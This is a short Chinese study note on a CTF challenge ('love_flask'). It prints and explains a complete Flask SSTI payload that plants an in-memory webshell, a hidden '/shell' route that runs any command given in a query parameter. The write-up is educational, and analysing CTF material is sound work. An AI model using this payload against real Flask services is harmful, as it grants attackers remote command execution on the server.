内存马
今天复现shctf的love_flask题目的时候看到的。
这道题是个无回显的ssti,给了两种解,一种是延时爆flag,一种用到了内存马,文章贴在下面。
https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD
我们分析一下它的payload
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
app.add_url_rule('/shell', 'shell', lambda :import('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()):
app.add_url_rule:向 Flask 应用程序添加一个新的路由规则。
第一个参数'/shell'是路由的URL。
第二个参数'shell'是视图函数的端点名称。
第三个参数是一个匿名函数(lambda),当访问/shell路由时,会执行这个函数。
import('os').popen:动态导入os模块,并调用popen方法执行命令。
_request_ctx_stack.top.request.args.get('cmd', 'whoami'):获取请求中的cmd参数,如果没有提供,则默认为'whoami'。
执行环境字典:
{ '_request_ctx_stack':url_for.globals['_request_ctx_stack'], 'app':url_for.globals['current_app'] }:
为 eval 函数提供执行环境,其中包含 _request_ctx_stack 和 app 两个变量。
_request_ctx_stack 是 Flask 中的一个栈,用于存储请求上下文。
current_app 是 Flask 中的当前应用实例。
真的得恶补python了(反序列化和flask优先吧)